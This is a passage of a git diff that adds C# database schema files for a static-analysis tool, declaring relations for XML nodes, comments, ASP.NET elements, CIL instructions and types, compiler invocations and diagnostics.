unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/semmlecode.csharp.dbscheme b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..2fb07f0b8c6 --- /dev/null +++ b/csharp/upgrades/dd813977f70fcbf737b0bbe9dc8297edff713168/semmlecode.csharp.dbscheme @@ -0,0 +1,1956 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = 